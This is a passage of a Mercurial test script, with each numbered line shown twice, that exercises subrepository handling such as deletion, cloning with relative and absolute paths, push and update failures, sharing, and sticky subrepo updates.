872 $ mkdir testdelete/nested testdelete/nested2
872 $ mkdir testdelete/nested testdelete/nested2
873 $ hg init testdelete/nested
873 $ hg init testdelete/nested
874 $ hg init testdelete/nested2
874 $ hg init testdelete/nested2
875 $ echo test > testdelete/nested/foo
875 $ echo test > testdelete/nested/foo
876 $ echo test > testdelete/nested2/foo
876 $ echo test > testdelete/nested2/foo
877 $ hg -R testdelete/nested add
877 $ hg -R testdelete/nested add
878 adding testdelete/nested/foo (glob)
878 adding testdelete/nested/foo (glob)
879 $ hg -R testdelete/nested2 add
879 $ hg -R testdelete/nested2 add
880 adding testdelete/nested2/foo (glob)
880 adding testdelete/nested2/foo (glob)
881 $ hg -R testdelete/nested ci -m test
881 $ hg -R testdelete/nested ci -m test
882 $ hg -R testdelete/nested2 ci -m test
882 $ hg -R testdelete/nested2 ci -m test
883 $ echo nested = nested > testdelete/.hgsub
883 $ echo nested = nested > testdelete/.hgsub
884 $ echo nested2 = nested2 >> testdelete/.hgsub
884 $ echo nested2 = nested2 >> testdelete/.hgsub
885 $ hg -R testdelete add
885 $ hg -R testdelete add
886 adding testdelete/.hgsub (glob)
886 adding testdelete/.hgsub (glob)
887 $ hg -R testdelete ci -m "nested 1 & 2 added"
887 $ hg -R testdelete ci -m "nested 1 & 2 added"
888 $ echo nested = nested > testdelete/.hgsub
888 $ echo nested = nested > testdelete/.hgsub
889 $ hg -R testdelete ci -m "nested 2 deleted"
889 $ hg -R testdelete ci -m "nested 2 deleted"
890 $ cat testdelete/.hgsubstate
890 $ cat testdelete/.hgsubstate
891 bdf5c9a3103743d900b12ae0db3ffdcfd7b0d878 nested
891 bdf5c9a3103743d900b12ae0db3ffdcfd7b0d878 nested
892 $ hg -R testdelete remove testdelete/.hgsub
892 $ hg -R testdelete remove testdelete/.hgsub
893 $ hg -R testdelete ci -m ".hgsub deleted"
893 $ hg -R testdelete ci -m ".hgsub deleted"
894 $ cat testdelete/.hgsubstate
894 $ cat testdelete/.hgsubstate
895 bdf5c9a3103743d900b12ae0db3ffdcfd7b0d878 nested
895 bdf5c9a3103743d900b12ae0db3ffdcfd7b0d878 nested
896
896
897 test repository cloning
897 test repository cloning
898
898
899 $ mkdir mercurial mercurial2
899 $ mkdir mercurial mercurial2
900 $ hg init nested_absolute
900 $ hg init nested_absolute
901 $ echo test > nested_absolute/foo
901 $ echo test > nested_absolute/foo
902 $ hg -R nested_absolute add
902 $ hg -R nested_absolute add
903 adding nested_absolute/foo (glob)
903 adding nested_absolute/foo (glob)
904 $ hg -R nested_absolute ci -mtest
904 $ hg -R nested_absolute ci -mtest
905 $ cd mercurial
905 $ cd mercurial
906 $ hg init nested_relative
906 $ hg init nested_relative
907 $ echo test2 > nested_relative/foo2
907 $ echo test2 > nested_relative/foo2
908 $ hg -R nested_relative add
908 $ hg -R nested_relative add
909 adding nested_relative/foo2 (glob)
909 adding nested_relative/foo2 (glob)
910 $ hg -R nested_relative ci -mtest2
910 $ hg -R nested_relative ci -mtest2
911 $ hg init main
911 $ hg init main
912 $ echo "nested_relative = ../nested_relative" > main/.hgsub
912 $ echo "nested_relative = ../nested_relative" > main/.hgsub
913 $ echo "nested_absolute = `pwd`/nested_absolute" >> main/.hgsub
913 $ echo "nested_absolute = `pwd`/nested_absolute" >> main/.hgsub
914 $ hg -R main add
914 $ hg -R main add
915 adding main/.hgsub (glob)
915 adding main/.hgsub (glob)
916 $ hg -R main ci -m "add subrepos"
916 $ hg -R main ci -m "add subrepos"
917 $ cd ..
917 $ cd ..
918 $ hg clone mercurial/main mercurial2/main
918 $ hg clone mercurial/main mercurial2/main
919 updating to branch default
919 updating to branch default
920 2 files updated, 0 files merged, 0 files removed, 0 files unresolved
920 2 files updated, 0 files merged, 0 files removed, 0 files unresolved
921 $ cat mercurial2/main/nested_absolute/.hg/hgrc \
921 $ cat mercurial2/main/nested_absolute/.hg/hgrc \
922 > mercurial2/main/nested_relative/.hg/hgrc
922 > mercurial2/main/nested_relative/.hg/hgrc
923 [paths]
923 [paths]
924 default = $TESTTMP/mercurial/nested_absolute
924 default = $TESTTMP/mercurial/nested_absolute
925 [paths]
925 [paths]
926 default = $TESTTMP/mercurial/nested_relative
926 default = $TESTTMP/mercurial/nested_relative
927 $ rm -rf mercurial mercurial2
927 $ rm -rf mercurial mercurial2
928
928
929 Issue1977: multirepo push should fail if subrepo push fails
929 Issue1977: multirepo push should fail if subrepo push fails
930
930
931 $ hg init repo
931 $ hg init repo
932 $ hg init repo/s
932 $ hg init repo/s
933 $ echo a > repo/s/a
933 $ echo a > repo/s/a
934 $ hg -R repo/s ci -Am0
934 $ hg -R repo/s ci -Am0
935 adding a
935 adding a
936 $ echo s = s > repo/.hgsub
936 $ echo s = s > repo/.hgsub
937 $ hg -R repo ci -Am1
937 $ hg -R repo ci -Am1
938 adding .hgsub
938 adding .hgsub
939 $ hg clone repo repo2
939 $ hg clone repo repo2
940 updating to branch default
940 updating to branch default
941 cloning subrepo s from $TESTTMP/repo/s
941 cloning subrepo s from $TESTTMP/repo/s
942 2 files updated, 0 files merged, 0 files removed, 0 files unresolved
942 2 files updated, 0 files merged, 0 files removed, 0 files unresolved
943 $ hg -q -R repo2 pull -u
943 $ hg -q -R repo2 pull -u
944 $ echo 1 > repo2/s/a
944 $ echo 1 > repo2/s/a
945 $ hg -R repo2/s ci -m2
945 $ hg -R repo2/s ci -m2
946 $ hg -q -R repo2/s push
946 $ hg -q -R repo2/s push
947 $ hg -R repo2/s up -C 0
947 $ hg -R repo2/s up -C 0
948 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
948 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
949 $ echo 2 > repo2/s/b
949 $ echo 2 > repo2/s/b
950 $ hg -R repo2/s ci -m3 -A
950 $ hg -R repo2/s ci -m3 -A
951 adding b
951 adding b
952 created new head
952 created new head
953 $ hg -R repo2 ci -m3
953 $ hg -R repo2 ci -m3
954 $ hg -q -R repo2 push
954 $ hg -q -R repo2 push
955 abort: push creates new remote head cc505f09a8b2! (in subrepo s)
955 abort: push creates new remote head cc505f09a8b2! (in subrepo s)
956 (merge or see 'hg help push' for details about pushing new heads)
956 (merge or see 'hg help push' for details about pushing new heads)
957 [255]
957 [255]
958 $ hg -R repo update
958 $ hg -R repo update
959 0 files updated, 0 files merged, 0 files removed, 0 files unresolved
959 0 files updated, 0 files merged, 0 files removed, 0 files unresolved
960
960
961 test if untracked file is not overwritten
961 test if untracked file is not overwritten
962
962
963 (this also tests that updated .hgsubstate is treated as "modified",
963 (this also tests that updated .hgsubstate is treated as "modified",
964 when 'merge.update()' is aborted before 'merge.recordupdates()', even
964 when 'merge.update()' is aborted before 'merge.recordupdates()', even
965 if none of mode, size and timestamp of it isn't changed on the
965 if none of mode, size and timestamp of it isn't changed on the
966 filesystem (see also issue4583))
966 filesystem (see also issue4583))
967
967
968 $ echo issue3276_ok > repo/s/b
968 $ echo issue3276_ok > repo/s/b
969 $ hg -R repo2 push -f -q
969 $ hg -R repo2 push -f -q
970 $ touch -t 200001010000 repo/.hgsubstate
970 $ touch -t 200001010000 repo/.hgsubstate
971
971
972 $ cat >> repo/.hg/hgrc <<EOF
972 $ cat >> repo/.hg/hgrc <<EOF
973 > [fakedirstatewritetime]
973 > [fakedirstatewritetime]
974 > # emulate invoking dirstate.write() via repo.status()
974 > # emulate invoking dirstate.write() via repo.status()
975 > # at 2000-01-01 00:00
975 > # at 2000-01-01 00:00
976 > fakenow = 200001010000
976 > fakenow = 200001010000
977 >
977 >
978 > [extensions]
978 > [extensions]
979 > fakedirstatewritetime = $TESTDIR/fakedirstatewritetime.py
979 > fakedirstatewritetime = $TESTDIR/fakedirstatewritetime.py
980 > EOF
980 > EOF
981 $ hg -R repo update
981 $ hg -R repo update
982 b: untracked file differs
982 b: untracked file differs
983 abort: untracked files in working directory differ from files in requested revision (in subrepo s)
983 abort: untracked files in working directory differ from files in requested revision (in subrepo s)
984 [255]
984 [255]
985 $ cat >> repo/.hg/hgrc <<EOF
985 $ cat >> repo/.hg/hgrc <<EOF
986 > [extensions]
986 > [extensions]
987 > fakedirstatewritetime = !
987 > fakedirstatewritetime = !
988 > EOF
988 > EOF
989
989
990 $ cat repo/s/b
990 $ cat repo/s/b
991 issue3276_ok
991 issue3276_ok
992 $ rm repo/s/b
992 $ rm repo/s/b
993 $ touch -t 200001010000 repo/.hgsubstate
993 $ touch -t 200001010000 repo/.hgsubstate
994 $ hg -R repo revert --all
994 $ hg -R repo revert --all
995 reverting repo/.hgsubstate (glob)
995 reverting repo/.hgsubstate (glob)
996 reverting subrepo s
996 reverting subrepo s
997 $ hg -R repo update
997 $ hg -R repo update
998 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
998 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
999 $ cat repo/s/b
999 $ cat repo/s/b
1000 2
1000 2
1001 $ rm -rf repo2 repo
1001 $ rm -rf repo2 repo
1002
1002
1003
1003
1004 Issue1852 subrepos with relative paths always push/pull relative to default
1004 Issue1852 subrepos with relative paths always push/pull relative to default
1005
1005
1006 Prepare a repo with subrepo
1006 Prepare a repo with subrepo
1007
1007
1008 $ hg init issue1852a
1008 $ hg init issue1852a
1009 $ cd issue1852a
1009 $ cd issue1852a
1010 $ hg init sub/repo
1010 $ hg init sub/repo
1011 $ echo test > sub/repo/foo
1011 $ echo test > sub/repo/foo
1012 $ hg -R sub/repo add sub/repo/foo
1012 $ hg -R sub/repo add sub/repo/foo
1013 $ echo sub/repo = sub/repo > .hgsub
1013 $ echo sub/repo = sub/repo > .hgsub
1014 $ hg add .hgsub
1014 $ hg add .hgsub
1015 $ hg ci -mtest
1015 $ hg ci -mtest
1016 committing subrepository sub/repo (glob)
1016 committing subrepository sub/repo (glob)
1017 $ echo test >> sub/repo/foo
1017 $ echo test >> sub/repo/foo
1018 $ hg ci -mtest
1018 $ hg ci -mtest
1019 committing subrepository sub/repo (glob)
1019 committing subrepository sub/repo (glob)
1020 $ hg cat sub/repo/foo
1020 $ hg cat sub/repo/foo
1021 test
1021 test
1022 test
1022 test
1023 $ mkdir -p tmp/sub/repo
1023 $ mkdir -p tmp/sub/repo
1024 $ hg cat -r 0 --output tmp/%p_p sub/repo/foo
1024 $ hg cat -r 0 --output tmp/%p_p sub/repo/foo
1025 $ cat tmp/sub/repo/foo_p
1025 $ cat tmp/sub/repo/foo_p
1026 test
1026 test
1027 $ mv sub/repo sub_
1027 $ mv sub/repo sub_
1028 $ hg cat sub/repo/baz
1028 $ hg cat sub/repo/baz
1029 skipping missing subrepository: sub/repo
1029 skipping missing subrepository: sub/repo
1030 [1]
1030 [1]
1031 $ rm -rf sub/repo
1031 $ rm -rf sub/repo
1032 $ mv sub_ sub/repo
1032 $ mv sub_ sub/repo
1033 $ cd ..
1033 $ cd ..
1034
1034
1035 Create repo without default path, pull top repo, and see what happens on update
1035 Create repo without default path, pull top repo, and see what happens on update
1036
1036
1037 $ hg init issue1852b
1037 $ hg init issue1852b
1038 $ hg -R issue1852b pull issue1852a
1038 $ hg -R issue1852b pull issue1852a
1039 pulling from issue1852a
1039 pulling from issue1852a
1040 requesting all changes
1040 requesting all changes
1041 adding changesets
1041 adding changesets
1042 adding manifests
1042 adding manifests
1043 adding file changes
1043 adding file changes
1044 added 2 changesets with 3 changes to 2 files
1044 added 2 changesets with 3 changes to 2 files
1045 (run 'hg update' to get a working copy)
1045 (run 'hg update' to get a working copy)
1046 $ hg -R issue1852b update
1046 $ hg -R issue1852b update
1047 abort: default path for subrepository not found (in subrepo sub/repo) (glob)
1047 abort: default path for subrepository not found (in subrepo sub/repo) (glob)
1048 [255]
1048 [255]
1049
1049
1050 Ensure a full traceback, not just the SubrepoAbort part
1050 Ensure a full traceback, not just the SubrepoAbort part
1051
1051
1052 $ hg -R issue1852b update --traceback 2>&1 | grep 'raise error\.Abort'
1052 $ hg -R issue1852b update --traceback 2>&1 | grep 'raise error\.Abort'
1053 raise error.Abort(_("default path for subrepository not found"))
1053 raise error.Abort(_("default path for subrepository not found"))
1054
1054
1055 Pull -u now doesn't help
1055 Pull -u now doesn't help
1056
1056
1057 $ hg -R issue1852b pull -u issue1852a
1057 $ hg -R issue1852b pull -u issue1852a
1058 pulling from issue1852a
1058 pulling from issue1852a
1059 searching for changes
1059 searching for changes
1060 no changes found
1060 no changes found
1061
1061
1062 Try the same, but with pull -u
1062 Try the same, but with pull -u
1063
1063
1064 $ hg init issue1852c
1064 $ hg init issue1852c
1065 $ hg -R issue1852c pull -r0 -u issue1852a
1065 $ hg -R issue1852c pull -r0 -u issue1852a
1066 pulling from issue1852a
1066 pulling from issue1852a
1067 adding changesets
1067 adding changesets
1068 adding manifests
1068 adding manifests
1069 adding file changes
1069 adding file changes
1070 added 1 changesets with 2 changes to 2 files
1070 added 1 changesets with 2 changes to 2 files
1071 cloning subrepo sub/repo from issue1852a/sub/repo (glob)
1071 cloning subrepo sub/repo from issue1852a/sub/repo (glob)
1072 2 files updated, 0 files merged, 0 files removed, 0 files unresolved
1072 2 files updated, 0 files merged, 0 files removed, 0 files unresolved
1073
1073
1074 Try to push from the other side
1074 Try to push from the other side
1075
1075
1076 $ hg -R issue1852a push `pwd`/issue1852c
1076 $ hg -R issue1852a push `pwd`/issue1852c
1077 pushing to $TESTTMP/issue1852c (glob)
1077 pushing to $TESTTMP/issue1852c (glob)
1078 pushing subrepo sub/repo to $TESTTMP/issue1852c/sub/repo (glob)
1078 pushing subrepo sub/repo to $TESTTMP/issue1852c/sub/repo (glob)
1079 searching for changes
1079 searching for changes
1080 no changes found
1080 no changes found
1081 searching for changes
1081 searching for changes
1082 adding changesets
1082 adding changesets
1083 adding manifests
1083 adding manifests
1084 adding file changes
1084 adding file changes
1085 added 1 changesets with 1 changes to 1 files
1085 added 1 changesets with 1 changes to 1 files
1086
1086
1087 Incoming and outgoing should not use the default path:
1087 Incoming and outgoing should not use the default path:
1088
1088
1089 $ hg clone -q issue1852a issue1852d
1089 $ hg clone -q issue1852a issue1852d
1090 $ hg -R issue1852d outgoing --subrepos issue1852c
1090 $ hg -R issue1852d outgoing --subrepos issue1852c
1091 comparing with issue1852c
1091 comparing with issue1852c
1092 searching for changes
1092 searching for changes
1093 no changes found
1093 no changes found
1094 comparing with issue1852c/sub/repo
1094 comparing with issue1852c/sub/repo
1095 searching for changes
1095 searching for changes
1096 no changes found
1096 no changes found
1097 [1]
1097 [1]
1098 $ hg -R issue1852d incoming --subrepos issue1852c
1098 $ hg -R issue1852d incoming --subrepos issue1852c
1099 comparing with issue1852c
1099 comparing with issue1852c
1100 searching for changes
1100 searching for changes
1101 no changes found
1101 no changes found
1102 comparing with issue1852c/sub/repo
1102 comparing with issue1852c/sub/repo
1103 searching for changes
1103 searching for changes
1104 no changes found
1104 no changes found
1105 [1]
1105 [1]
1106
1106
1107 Check that merge of a new subrepo doesn't write the uncommitted state to
1107 Check that merge of a new subrepo doesn't write the uncommitted state to
1108 .hgsubstate (issue4622)
1108 .hgsubstate (issue4622)
1109
1109
1110 $ hg init issue1852a/addedsub
1110 $ hg init issue1852a/addedsub
1111 $ echo zzz > issue1852a/addedsub/zz.txt
1111 $ echo zzz > issue1852a/addedsub/zz.txt
1112 $ hg -R issue1852a/addedsub ci -Aqm "initial ZZ"
1112 $ hg -R issue1852a/addedsub ci -Aqm "initial ZZ"
1113
1113
1114 $ hg clone issue1852a/addedsub issue1852d/addedsub
1114 $ hg clone issue1852a/addedsub issue1852d/addedsub
1115 updating to branch default
1115 updating to branch default
1116 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
1116 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
1117
1117
1118 $ echo def > issue1852a/sub/repo/foo
1118 $ echo def > issue1852a/sub/repo/foo
1119 $ hg -R issue1852a ci -SAm 'tweaked subrepo'
1119 $ hg -R issue1852a ci -SAm 'tweaked subrepo'
1120 adding tmp/sub/repo/foo_p
1120 adding tmp/sub/repo/foo_p
1121 committing subrepository sub/repo (glob)
1121 committing subrepository sub/repo (glob)
1122
1122
1123 $ echo 'addedsub = addedsub' >> issue1852d/.hgsub
1123 $ echo 'addedsub = addedsub' >> issue1852d/.hgsub
1124 $ echo xyz > issue1852d/sub/repo/foo
1124 $ echo xyz > issue1852d/sub/repo/foo
1125 $ hg -R issue1852d pull -u
1125 $ hg -R issue1852d pull -u
1126 pulling from $TESTTMP/issue1852a (glob)
1126 pulling from $TESTTMP/issue1852a (glob)
1127 searching for changes
1127 searching for changes
1128 adding changesets
1128 adding changesets
1129 adding manifests
1129 adding manifests
1130 adding file changes
1130 adding file changes
1131 added 1 changesets with 2 changes to 2 files
1131 added 1 changesets with 2 changes to 2 files
1132 subrepository sub/repo diverged (local revision: f42d5c7504a8, remote revision: 46cd4aac504c)
1132 subrepository sub/repo diverged (local revision: f42d5c7504a8, remote revision: 46cd4aac504c)
1133 (M)erge, keep (l)ocal [working copy] or keep (r)emote [destination]? m
1133 (M)erge, keep (l)ocal [working copy] or keep (r)emote [destination]? m
1134 pulling subrepo sub/repo from $TESTTMP/issue1852a/sub/repo (glob)
1134 pulling subrepo sub/repo from $TESTTMP/issue1852a/sub/repo (glob)
1135 searching for changes
1135 searching for changes
1136 adding changesets
1136 adding changesets
1137 adding manifests
1137 adding manifests
1138 adding file changes
1138 adding file changes
1139 added 1 changesets with 1 changes to 1 files
1139 added 1 changesets with 1 changes to 1 files
1140 subrepository sources for sub/repo differ (glob)
1140 subrepository sources for sub/repo differ (glob)
1141 use (l)ocal source (f42d5c7504a8) or (r)emote source (46cd4aac504c)? l
1141 use (l)ocal source (f42d5c7504a8) or (r)emote source (46cd4aac504c)? l
1142 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
1142 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
1143 $ cat issue1852d/.hgsubstate
1143 $ cat issue1852d/.hgsubstate
1144 f42d5c7504a811dda50f5cf3e5e16c3330b87172 sub/repo
1144 f42d5c7504a811dda50f5cf3e5e16c3330b87172 sub/repo
1145
1145
1146 Check status of files when none of them belong to the first
1146 Check status of files when none of them belong to the first
1147 subrepository:
1147 subrepository:
1148
1148
1149 $ hg init subrepo-status
1149 $ hg init subrepo-status
1150 $ cd subrepo-status
1150 $ cd subrepo-status
1151 $ hg init subrepo-1
1151 $ hg init subrepo-1
1152 $ hg init subrepo-2
1152 $ hg init subrepo-2
1153 $ cd subrepo-2
1153 $ cd subrepo-2
1154 $ touch file
1154 $ touch file
1155 $ hg add file
1155 $ hg add file
1156 $ cd ..
1156 $ cd ..
1157 $ echo subrepo-1 = subrepo-1 > .hgsub
1157 $ echo subrepo-1 = subrepo-1 > .hgsub
1158 $ echo subrepo-2 = subrepo-2 >> .hgsub
1158 $ echo subrepo-2 = subrepo-2 >> .hgsub
1159 $ hg add .hgsub
1159 $ hg add .hgsub
1160 $ hg ci -m 'Added subrepos'
1160 $ hg ci -m 'Added subrepos'
1161 committing subrepository subrepo-2
1161 committing subrepository subrepo-2
1162 $ hg st subrepo-2/file
1162 $ hg st subrepo-2/file
1163
1163
1164 Check that share works with subrepo
1164 Check that share works with subrepo
1165 $ hg --config extensions.share= share . ../shared
1165 $ hg --config extensions.share= share . ../shared
1166 updating working directory
1166 updating working directory
1167 cloning subrepo subrepo-2 from $TESTTMP/subrepo-status/subrepo-2
1167 cloning subrepo subrepo-2 from $TESTTMP/subrepo-status/subrepo-2
1168 2 files updated, 0 files merged, 0 files removed, 0 files unresolved
1168 2 files updated, 0 files merged, 0 files removed, 0 files unresolved
1169 $ test -f ../shared/subrepo-1/.hg/sharedpath
1169 $ test -f ../shared/subrepo-1/.hg/sharedpath
1170 [1]
1170 [1]
1171 $ hg -R ../shared in
1171 $ hg -R ../shared in
1172 abort: repository default not found!
1172 abort: repository default not found!
1173 [255]
1173 [255]
1174 $ hg -R ../shared/subrepo-2 showconfig paths
1174 $ hg -R ../shared/subrepo-2 showconfig paths
1175 paths.default=$TESTTMP/subrepo-status/subrepo-2
1175 paths.default=$TESTTMP/subrepo-status/subrepo-2
1176 $ hg -R ../shared/subrepo-1 sum --remote
1176 $ hg -R ../shared/subrepo-1 sum --remote
1177 parent: -1:000000000000 tip (empty repository)
1177 parent: -1:000000000000 tip (empty repository)
1178 branch: default
1178 branch: default
1179 commit: (clean)
1179 commit: (clean)
1180 update: (current)
1180 update: (current)
1181 remote: (synced)
1181 remote: (synced)
1182
1182
1183 Check hg update --clean
1183 Check hg update --clean
1184 $ cd $TESTTMP/t
1184 $ cd $TESTTMP/t
1185 $ rm -r t/t.orig
1185 $ rm -r t/t.orig
1186 $ hg status -S --all
1186 $ hg status -S --all
1187 C .hgsub
1187 C .hgsub
1188 C .hgsubstate
1188 C .hgsubstate
1189 C a
1189 C a
1190 C s/.hgsub
1190 C s/.hgsub
1191 C s/.hgsubstate
1191 C s/.hgsubstate
1192 C s/a
1192 C s/a
1193 C s/ss/a
1193 C s/ss/a
1194 C t/t
1194 C t/t
1195 $ echo c1 > s/a
1195 $ echo c1 > s/a
1196 $ cd s
1196 $ cd s
1197 $ echo c1 > b
1197 $ echo c1 > b
1198 $ echo c1 > c
1198 $ echo c1 > c
1199 $ hg add b
1199 $ hg add b
1200 $ cd ..
1200 $ cd ..
1201 $ hg status -S
1201 $ hg status -S
1202 M s/a
1202 M s/a
1203 A s/b
1203 A s/b
1204 ? s/c
1204 ? s/c
1205 $ hg update -C
1205 $ hg update -C
1206 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
1206 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
1207 2 other heads for branch "default"
1207 2 other heads for branch "default"
1208 $ hg status -S
1208 $ hg status -S
1209 ? s/b
1209 ? s/b
1210 ? s/c
1210 ? s/c
1211
1211
1212 Sticky subrepositories, no changes
1212 Sticky subrepositories, no changes
1213 $ cd $TESTTMP/t
1213 $ cd $TESTTMP/t
1214 $ hg id
1214 $ hg id
1215 925c17564ef8 tip
1215 925c17564ef8 tip
1216 $ hg -R s id
1216 $ hg -R s id
1217 12a213df6fa9 tip
1217 12a213df6fa9 tip
1218 $ hg -R t id
1218 $ hg -R t id
1219 52c0adc0515a tip
1219 52c0adc0515a tip
1220 $ hg update 11
1220 $ hg update 11
1221 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
1221 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
1222 $ hg id
1222 $ hg id
1223 365661e5936a
1223 365661e5936a
1224 $ hg -R s id
1224 $ hg -R s id
1225 fc627a69481f
1225 fc627a69481f
1226 $ hg -R t id
1226 $ hg -R t id
1227 e95bcfa18a35
1227 e95bcfa18a35
1228
1228
1229 Sticky subrepositories, file changes
1229 Sticky subrepositories, file changes
1230 $ touch s/f1
1230 $ touch s/f1
1231 $ touch t/f1
1231 $ touch t/f1
1232 $ hg add -S s/f1
1232 $ hg add -S s/f1
1233 $ hg add -S t/f1
1233 $ hg add -S t/f1
1234 $ hg id
1234 $ hg id
1235 365661e5936a+
1235 365661e5936a+
1236 $ hg -R s id
1236 $ hg -R s id
1237 fc627a69481f+
1237 fc627a69481f+
1238 $ hg -R t id
1238 $ hg -R t id
1239 e95bcfa18a35+
1239 e95bcfa18a35+
1240 $ hg update tip
1240 $ hg update tip
1241 subrepository s diverged (local revision: fc627a69481f, remote revision: 12a213df6fa9)
1241 subrepository s diverged (local revision: fc627a69481f, remote revision: 12a213df6fa9)
1242 (M)erge, keep (l)ocal [working copy] or keep (r)emote [destination]? m
1242 (M)erge, keep (l)ocal [working copy] or keep (r)emote [destination]? m
1243 subrepository sources for s differ
1243 subrepository sources for s differ
1244 use (l)ocal source (fc627a69481f) or (r)emote source (12a213df6fa9)? l
1244 use (l)ocal source (fc627a69481f) or (r)emote source (12a213df6fa9)? l
1245 subrepository t diverged (local revision: e95bcfa18a35, remote revision: 52c0adc0515a)
1245 subrepository t diverged (local revision: e95bcfa18a35, remote revision: 52c0adc0515a)
1246 (M)erge, keep (l)ocal [working copy] or keep (r)emote [destination]? m
1246 (M)erge, keep (l)ocal [working copy] or keep (r)emote [destination]? m
1247 subrepository sources for t differ
1247 subrepository sources for t differ
1248 use (l)ocal source (e95bcfa18a35) or (r)emote source (52c0adc0515a)? l
1248 use (l)ocal source (e95bcfa18a35) or (r)emote source (52c0adc0515a)? l
1249 0 files updated, 0 files merged, 0 files removed, 0 files unresolved
1249 0 files updated, 0 files merged, 0 files removed, 0 files unresolved
1250 $ hg id
1250 $ hg id
1251 925c17564ef8+ tip
1251 925c17564ef8+ tip
1252 $ hg -R s id
1252 $ hg -R s id
1253 fc627a69481f+
1253 fc627a69481f+
1254 $ hg -R t id
1254 $ hg -R t id
1255 e95bcfa18a35+
1255 e95bcfa18a35+
1256 $ hg update --clean tip
1256 $ hg update --clean tip
1257 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
1257 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
1258
1258
1259 Sticky subrepository, revision updates
1259 Sticky subrepository, revision updates
1260 $ hg id
1260 $ hg id
1261 925c17564ef8 tip
1261 925c17564ef8 tip
1262 $ hg -R s id
1262 $ hg -R s id
1263 12a213df6fa9 tip
1263 12a213df6fa9 tip
1264 $ hg -R t id
1264 $ hg -R t id
1265 52c0adc0515a tip
1265 52c0adc0515a tip
1266 $ cd s
1266 $ cd s
1267 $ hg update -r -2
1267 $ hg update -r -2
1268 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
1268 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
1269 $ cd ../t
1269 $ cd ../t
1270 $ hg update -r 2
1270 $ hg update -r 2
1271 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
1271 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
1272 $ cd ..
1272 $ cd ..
1273 $ hg update 10
1273 $ hg update 10
1274 subrepository s diverged (local revision: 12a213df6fa9, remote revision: fc627a69481f)
1274 subrepository s diverged (local revision: 12a213df6fa9, remote revision: fc627a69481f)
1275 (M)erge, keep (l)ocal [working copy] or keep (r)emote [destination]? m
1275 (M)erge, keep (l)ocal [working copy] or keep (r)emote [destination]? m
1276 subrepository t diverged (local revision: 52c0adc0515a, remote revision: 20a0db6fbf6c)
1276 subrepository t diverged (local revision: 52c0adc0515a, remote revision: 20a0db6fbf6c)
1277 (M)erge, keep (l)ocal [working copy] or keep (r)emote [destination]? m
1277 (M)erge, keep (l)ocal [working copy] or keep (r)emote [destination]? m
1278 subrepository sources for t differ (in checked out version)
1278 subrepository sources for t differ (in checked out version)
1279 use (l)ocal source (7af322bc1198) or (r)emote source (20a0db6fbf6c)? l
1279 use (l)ocal source (7af322bc1198) or (r)emote source (20a0db6fbf6c)? l
1280 0 files updated, 0 files merged, 0 files removed, 0 files unresolved
1280 0 files updated, 0 files merged, 0 files removed, 0 files unresolved
1281 $ hg id
1281 $ hg id
1282 e45c8b14af55+
1282 e45c8b14af55+
1283 $ hg -R s id
1283 $ hg -R s id
1284 02dcf1d70411
1284 02dcf1d70411
1285 $ hg -R t id
1285 $ hg -R t id
1286 7af322bc1198
1286 7af322bc1198
1287
1287
1288 Sticky subrepository, file changes and revision updates
1288 Sticky subrepository, file changes and revision updates
1289 $ touch s/f1
1289 $ touch s/f1
1290 $ touch t/f1
1290 $ touch t/f1
1291 $ hg add -S s/f1
1291 $ hg add -S s/f1
1292 $ hg add -S t/f1
1292 $ hg add -S t/f1
1293 $ hg id
1293 $ hg id
1294 e45c8b14af55+
1294 e45c8b14af55+
1295 $ hg -R s id
1295 $ hg -R s id
1296 02dcf1d70411+
1296 02dcf1d70411+
1297 $ hg -R t id
1297 $ hg -R t id
1298 7af322bc1198+
1298 7af322bc1198+
1299 $ hg update tip
1299 $ hg update tip
1300 subrepository s diverged (local revision: 12a213df6fa9, remote revision: 12a213df6fa9)
1300 subrepository s diverged (local revision: 12a213df6fa9, remote revision: 12a213df6fa9)
1301 (M)erge, keep (l)ocal [working copy] or keep (r)emote [destination]? m
1301 (M)erge, keep (l)ocal [working copy] or keep (r)emote [destination]? m
1302 subrepository sources for s differ
1302 subrepository sources for s differ
1303 use (l)ocal source (02dcf1d70411) or (r)emote source (12a213df6fa9)? l
1303 use (l)ocal source (02dcf1d70411) or (r)emote source (12a213df6fa9)? l
1304 subrepository t diverged (local revision: 52c0adc0515a, remote revision: 52c0adc0515a)
1304 subrepository t diverged (local revision: 52c0adc0515a, remote revision: 52c0adc0515a)
1305 (M)erge, keep (l)ocal [working copy] or keep (r)emote [destination]? m
1305 (M)erge, keep (l)ocal [working copy] or keep (r)emote [destination]? m
1306 subrepository sources for t differ
1306 subrepository sources for t differ
1307 use (l)ocal source (7af322bc1198) or (r)emote source (52c0adc0515a)? l
1307 use (l)ocal source (7af322bc1198) or (r)emote source (52c0adc0515a)? l
1308 0 files updated, 0 files merged, 0 files removed, 0 files unresolved
1308 0 files updated, 0 files merged, 0 files removed, 0 files unresolved
1309 $ hg id
1309 $ hg id
1310 925c17564ef8+ tip
1310 925c17564ef8+ tip
1311 $ hg -R s id
1311 $ hg -R s id
1312 02dcf1d70411+
1312 02dcf1d70411+
1313 $ hg -R t id
1313 $ hg -R t id
1314 7af322bc1198+
1314 7af322bc1198+
1315
1315
1316 Sticky repository, update --clean
1316 Sticky repository, update --clean
1317 $ hg update --clean tip
1317 $ hg update --clean tip
1318 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
1318 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
1319 $ hg id
1319 $ hg id
1320 925c17564ef8 tip
1320 925c17564ef8 tip
1321 $ hg -R s id
1321 $ hg -R s id
1322 12a213df6fa9 tip
1322 12a213df6fa9 tip
1323 $ hg -R t id
1323 $ hg -R t id
1324 52c0adc0515a tip
1324 52c0adc0515a tip
1325
1325
